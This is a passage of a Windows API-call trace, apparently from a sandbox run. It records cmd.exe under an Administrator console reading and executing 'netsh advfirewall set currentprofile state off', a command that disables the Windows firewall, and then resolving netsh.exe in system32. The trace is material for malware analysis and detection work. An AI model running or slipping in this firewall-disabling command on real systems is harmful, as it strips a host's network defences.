[0041.693] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.693] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.693] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be36a, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0041.693] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.693] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.693] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.693] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be36c, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0041.693] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.693] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.693] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.693] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be36e, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0041.693] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.693] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.693] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.693] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be370, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0041.694] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.694] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.694] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.694] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be372, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0041.694] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.694] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.694] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.694] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be374, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0041.694] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.694] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.694] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.694] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be376, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0041.694] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.694] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.694] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.694] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be378, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0041.694] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.694] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.694] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.694] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be37a, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0041.694] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.694] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.694] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.694] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be37c, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0041.696] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.696] GetFileType (hFile=0x9c) returned 0x3 [0041.696] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.696] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.696] _get_osfhandle (_FileHandle=1) returned 0x100 [0041.696] GetFileType (hFile=0x100) returned 0x3 [0041.696] _get_osfhandle (_FileHandle=1) returned 0x100 [0041.696] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="netsh advfirewall set currentprofile state off\n", cchWideChar=-1, lpMultiByteStr=0x4a4bc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh advfirewall set currentprofile state off\n", lpUsedDefaultChar=0x0) returned 48 [0041.696] WriteFile (in: hFile=0x100, lpBuffer=0x4a4bc320*, nNumberOfBytesToWrite=0x2f, lpNumberOfBytesWritten=0x1efb98, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesWritten=0x1efb98*=0x2f, lpOverlapped=0x0) returned 1 [0041.696] GetProcessHeap () returned 0x2d0000 [0041.696] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x4012) returned 0x2eb9e0 [0041.696] GetProcessHeap () returned 0x2d0000 [0041.697] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eb9e0 | out: hHeap=0x2d0000) returned 1 [0041.698] _wcsicmp (_String1="netsh", _String2=")") returned 69 [0041.698] _wcsicmp (_String1="FOR", _String2="netsh") returned -8 [0041.698] _wcsicmp (_String1="FOR/?", _String2="netsh") returned -8 [0041.698] _wcsicmp (_String1="IF", _String2="netsh") returned -5 [0041.698] _wcsicmp (_String1="IF/?", _String2="netsh") returned -5 [0041.698] _wcsicmp (_String1="REM", _String2="netsh") returned 4 [0041.698] _wcsicmp (_String1="REM/?", _String2="netsh") returned 4 [0041.698] GetProcessHeap () returned 0x2d0000 [0041.698] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0xb0) returned 0x2e9cd0 [0041.698] GetProcessHeap () returned 0x2d0000 [0041.698] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x1c) returned 0x2e46c0 [0041.699] GetProcessHeap () returned 0x2d0000 [0041.699] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x64) returned 0x2ea290 [0041.700] GetConsoleOutputCP () returned 0x1b5 [0041.700] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a4bbfe0 | out: lpCPInfo=0x4a4bbfe0) returned 1 [0041.700] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0041.700] GetConsoleTitleW (in: lpConsoleTitle=0x1efb50, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0041.700] _wcsicmp (_String1="netsh", _String2="DIR") returned 10 [0041.700] _wcsicmp (_String1="netsh", _String2="ERASE") returned 9 [0041.700] _wcsicmp (_String1="netsh", _String2="DEL") returned 10 [0041.700] _wcsicmp (_String1="netsh", _String2="TYPE") returned -6 [0041.700] _wcsicmp (_String1="netsh", _String2="COPY") returned 11 [0041.700] _wcsicmp (_String1="netsh", _String2="CD") returned 11 [0041.700] _wcsicmp (_String1="netsh", _String2="CHDIR") returned 11 [0041.700] _wcsicmp (_String1="netsh", _String2="RENAME") returned -4 [0041.700] _wcsicmp (_String1="netsh", _String2="REN") returned -4 [0041.700] _wcsicmp (_String1="netsh", _String2="ECHO") returned 9 [0041.700] _wcsicmp (_String1="netsh", _String2="SET") returned -5 [0041.700] _wcsicmp (_String1="netsh", _String2="PAUSE") returned -2 [0041.701] _wcsicmp (_String1="netsh", _String2="DATE") returned 10 [0041.701] _wcsicmp (_String1="netsh", _String2="TIME") returned -6 [0041.701] _wcsicmp (_String1="netsh", _String2="PROMPT") returned -2 [0041.701] _wcsicmp (_String1="netsh", _String2="MD") returned 1 [0041.701] _wcsicmp (_String1="netsh", _String2="MKDIR") returned 1 [0041.701] _wcsicmp (_String1="netsh", _String2="RD") returned -4 [0041.701] _wcsicmp (_String1="netsh", _String2="RMDIR") returned -4 [0041.701] _wcsicmp (_String1="netsh", _String2="PATH") returned -2 [0041.701] _wcsicmp (_String1="netsh", _String2="GOTO") returned 7 [0041.701] _wcsicmp (_String1="netsh", _String2="SHIFT") returned -5 [0041.701] _wcsicmp (_String1="netsh", _String2="CLS") returned 11 [0041.701] _wcsicmp (_String1="netsh", _String2="CALL") returned 11 [0041.701] _wcsicmp (_String1="netsh", _String2="VERIFY") returned -8 [0041.701] _wcsicmp (_String1="netsh", _String2="VER") returned -8 [0041.701] _wcsicmp (_String1="netsh", _String2="VOL") returned -8 [0041.701] _wcsicmp (_String1="netsh", _String2="EXIT") returned 9 [0041.701] _wcsicmp (_String1="netsh", _String2="SETLOCAL") returned -5 [0041.701] _wcsicmp (_String1="netsh", _String2="ENDLOCAL") returned 9 [0041.701] _wcsicmp (_String1="netsh", _String2="TITLE") returned -6 [0041.701] _wcsicmp (_String1="netsh", _String2="START") returned -5 [0041.701] _wcsicmp (_String1="netsh", _String2="DPATH") returned 10 [0041.701] _wcsicmp (_String1="netsh", _String2="KEYS") returned 3 [0041.701] _wcsicmp (_String1="netsh", _String2="MOVE") returned 1 [0041.701] _wcsicmp (_String1="netsh", _String2="PUSHD") returned -2 [0041.701] _wcsicmp (_String1="netsh", _String2="POPD") returned -2 [0041.701] _wcsicmp (_String1="netsh", _String2="ASSOC") returned 13 [0041.701] _wcsicmp (_String1="netsh", _String2="FTYPE") returned 8 [0041.701] _wcsicmp (_String1="netsh", _String2="BREAK") returned 12 [0041.701] _wcsicmp (_String1="netsh", _String2="COLOR") returned 11 [0041.701] _wcsicmp (_String1="netsh", _String2="MKLINK") returned 1 [0041.701] _wcsicmp (_String1="netsh", _String2="DIR") returned 10 [0041.701] _wcsicmp (_String1="netsh", _String2="ERASE") returned 9 [0041.701] _wcsicmp (_String1="netsh", _String2="DEL") returned 10 [0041.701] _wcsicmp (_String1="netsh", _String2="TYPE") returned -6 [0041.702] _wcsicmp (_String1="netsh", _String2="COPY") returned 11 [0041.702] _wcsicmp (_String1="netsh", _String2="CD") returned 11 [0041.702] _wcsicmp (_String1="netsh", _String2="CHDIR") returned 11 [0041.702] _wcsicmp (_String1="netsh", _String2="RENAME") returned -4 [0041.702] _wcsicmp (_String1="netsh", _String2="REN") returned -4 [0041.702] _wcsicmp (_String1="netsh", _String2="ECHO") returned 9 [0041.702] _wcsicmp (_String1="netsh", _String2="SET") returned -5 [0041.702] _wcsicmp (_String1="netsh", _String2="PAUSE") returned -2 [0041.702] _wcsicmp (_String1="netsh", _String2="DATE") returned 10 [0041.702] _wcsicmp (_String1="netsh", _String2="TIME") returned -6 [0041.702] _wcsicmp (_String1="netsh", _String2="PROMPT") returned -2 [0041.702] _wcsicmp (_String1="netsh", _String2="MD") returned 1 [0041.702] _wcsicmp (_String1="netsh", _String2="MKDIR") returned 1 [0041.702] _wcsicmp (_String1="netsh", _String2="RD") returned -4 [0041.702] _wcsicmp (_String1="netsh", _String2="RMDIR") returned -4 [0041.702] _wcsicmp (_String1="netsh", _String2="PATH") returned -2 [0041.702] _wcsicmp (_String1="netsh", _String2="GOTO") returned 7 [0041.702] _wcsicmp (_String1="netsh", _String2="SHIFT") returned -5 [0041.702] _wcsicmp (_String1="netsh", _String2="CLS") returned 11 [0041.702] _wcsicmp (_String1="netsh", _String2="CALL") returned 11 [0041.702] _wcsicmp (_String1="netsh", _String2="VERIFY") returned -8 [0041.702] _wcsicmp (_String1="netsh", _String2="VER") returned -8 [0041.702] _wcsicmp (_String1="netsh", _String2="VOL") returned -8 [0041.702] _wcsicmp (_String1="netsh", _String2="EXIT") returned 9 [0041.702] _wcsicmp (_String1="netsh", _String2="SETLOCAL") returned -5 [0041.702] _wcsicmp (_String1="netsh", _String2="ENDLOCAL") returned 9 [0041.702] _wcsicmp (_String1="netsh", _String2="TITLE") returned -6 [0041.702] _wcsicmp (_String1="netsh", _String2="START") returned -5 [0041.702] _wcsicmp (_String1="netsh", _String2="DPATH") returned 10 [0041.702] _wcsicmp (_String1="netsh", _String2="KEYS") returned 3 [0041.702] _wcsicmp (_String1="netsh", _String2="MOVE") returned 1 [0041.702] _wcsicmp (_String1="netsh", _String2="PUSHD") returned -2 [0041.702] _wcsicmp (_String1="netsh", _String2="POPD") returned -2 [0041.702] _wcsicmp (_String1="netsh", _String2="ASSOC") returned 13 [0041.703] _wcsicmp (_String1="netsh", _String2="FTYPE") returned 8 [0041.703] _wcsicmp (_String1="netsh", _String2="BREAK") returned 12 [0041.703] _wcsicmp (_String1="netsh", _String2="COLOR") returned 11 [0041.703] _wcsicmp (_String1="netsh", _String2="MKLINK") returned 1 [0041.703] _wcsicmp (_String1="netsh", _String2="FOR") returned 8 [0041.703] _wcsicmp (_String1="netsh", _String2="IF") returned 5 [0041.703] _wcsicmp (_String1="netsh", _String2="REM") returned -4 [0041.703] GetProcessHeap () returned 0x2d0000 [0041.703] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x218) returned 0x2e5da0 [0041.703] GetProcessHeap () returned 0x2d0000 [0041.703] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x70) returned 0x2e8bb0 [0041.703] _wcsnicmp (_String1="nets", _String2="cmd ", _MaxCount=0x4) returned 11 [0041.703] GetProcessHeap () returned 0x2d0000 [0041.703] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x420) returned 0x2d1930 [0041.703] SetErrorMode (uMode=0x0) returned 0x0 [0041.703] SetErrorMode (uMode=0x1) returned 0x0 [0041.703] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x2d1940, lpFilePart=0x1ef3e0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop", lpFilePart=0x1ef3e0*="Desktop") returned 0x1a [0041.704] SetErrorMode (uMode=0x0) returned 0x1 [0041.704] GetProcessHeap () returned 0x2d0000 [0041.704] RtlReAllocateHeap (Heap=0x2d0000, Flags=0x0, Ptr=0x2d1930, Size=0x52) returned 0x2d1930 [0041.704] GetProcessHeap () returned 0x2d0000 [0041.704] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2d1930) returned 0x52 [0041.704] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a4af360, nSize=0x2000 | out: lpBuffer="") returned 0xc8 [0041.704] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0041.704] GetProcessHeap () returned 0x2d0000 [0041.704] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x1dc) returned 0x2e8c30 [0041.704] GetProcessHeap () returned 0x2d0000 [0041.704] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x3a8) returned 0x2d19a0 [0041.709] GetProcessHeap () returned 0x2d0000 [0041.709] RtlReAllocateHeap (Heap=0x2d0000, Flags=0x0, Ptr=0x2d19a0, Size=0x1de) returned 0x2d19a0 [0041.709] GetProcessHeap () returned 0x2d0000 [0041.709] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2d19a0) returned 0x1de [0041.709] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a4af360, nSize=0x2000 | out: lpBuffer="") returned 0x35 [0041.709] GetProcessHeap () returned 0x2d0000 [0041.709] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0xe8) returned 0x2d1b90 [0041.709] GetProcessHeap () returned 0x2d0000 [0041.709] RtlReAllocateHeap (Heap=0x2d0000, Flags=0x0, Ptr=0x2d1b90, Size=0x7e) returned 0x2d1b90 [0041.709] GetProcessHeap () returned 0x2d0000 [0041.709] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2d1b90) returned 0x7e [0041.710] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0041.710] FindFirstFileExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\netsh.*" (normalized: "c:\\users\\keecfmwgj\\desktop\\netsh.*"), fInfoLevelId=0x1, lpFindFileData=0x1ef150, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ef150) returned 0xffffffffffffffff [0041.710] GetLastError () returned 0x2 [0041.710] FindFirstFileExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\netsh" (normalized: "c:\\users\\keecfmwgj\\desktop\\netsh"), fInfoLevelId=0x1, lpFindFileData=0x1ef150, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ef150) returned 0xffffffffffffffff [0041.710] GetLastError () returned 0x2 [0041.710] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0041.710] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\netsh.*" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\netsh.*"), fInfoLevelId=0x1, lpFindFileData=0x1ef150, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ef150) returned 0xffffffffffffffff [0041.711] GetLastError () returned 0x2 [0041.711] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\netsh" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\netsh"), fInfoLevelId=0x1, lpFindFileData=0x1ef150, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ef150) returned 0xffffffffffffffff [0041.711] GetLastError () returned 0x2 [0041.711] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0041.711] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\netsh.*" (normalized: "c:\\windows\\system32\\netsh.*"), fInfoLevelId=0x1, lpFindFileData=0x1ef150, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ef150) returned 0x2e9e70 [0041.711] GetProcessHeap () returned 0x2d0000 [0041.711] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x28) returned 0x2e46f0 [0041.711] FindClose (in: hFindFile=0x2e9e70 | out: hFindFile=0x2e9e70) returned 1 [0041.711] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\netsh.COM" (normalized: "c:\\windows\\system32\\netsh.com"), fInfoLevelId=0x1, lpFindFileData=0x1ef150, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ef150) returned 0xffffffffffffffff [0041.711] GetLastError () returned 0x2 [0041.711] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\netsh.EXE" (normalized: "c:\\windows\\system32\\netsh.exe"), fInfoLevelId=0x1, lpFindFileData=0x1ef150, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ef150) returned 0x2eba10 [0041.712] GetProcessHeap () returned 0x2d0000 [0041.712] RtlReAllocateHeap (Heap=0x2d0000, Flags=0x0, Ptr=0x2e46f0, Size=0x8) returned 0x2e5fc0 [0041.712] FindClose (in: hFindFile=0x2eba10 | out: hFindFile=0x2eba10) returned 1 [0041.712] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0041.712] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0041.712] GetConsoleTitleW (in: lpConsoleTitle=0x1ef6a0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0041.712] GetProcessHeap () returned 0x2d0000 [0041.712] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x21c) returned 0x2d1c20 [0041.712] GetConsoleTitleW (in: lpConsoleTitle=0x2d1c30, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0041.712] GetProcessHeap () returned 0x2d0000 [0041.712] RtlReAllocateHeap (Heap=0x2d0000, Flags=0x0, Ptr=0x2d1c20, Size=0xd6) returned 0x2d1c20 [0041.712] GetProcessHeap () returned 0x2d0000 [0041.712] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2d1c20) returned 0xd6 [0041.712] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - netsh advfirewall set currentprofile state off") returned 1 [0041.713] GetProcessHeap () returned 0x2d0000 [0041.713] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2d1c20 | out: hHeap=0x2d0000) returned 1 [0041.713] InitializeProcThreadAttributeList (in: lpAttributeList=0x1ef458, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1ef418 | out: lpAttributeList=0x1ef458, lpSize=0x1ef418) returned 1 [0041.713] UpdateProcThreadAttribute (in: lpAttributeList=0x1ef458, dwFlags=0x0, Attribute=0x60001, lpValue=0x1ef408, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1ef458, lpPreviousValue=0x0) returned 1 [0041.714] GetStartupInfoW (in: lpStartupInfo=0x1ef570 | out: lpStartupInfo=0x1ef570*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x9c, hStdOutput=0x100, hStdError=0x100)) [0041.714] GetProcessHeap () returned 0x2d0000 [0041.714] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x20) returned 0x2e46f0 [0041.714] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0041.714] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0041.714] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0041.714] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0041.714] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0041.714] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0041.714] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0041.714] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0041.714] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0041.714] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0041.714] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0041.714] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0041.714] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0041.714] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0041.714] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0041.714] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0041.714] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0041.714] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0041.714] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0041.714] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0041.714] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0041.714] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0041.714] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0041.714] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0041.714] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0041.714] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0041.714] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0041.714] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0041.715] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0041.715] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0041.715] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0041.715] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0041.715] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0041.715] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0041.715] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0041.715] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0041.715] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0041.715] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 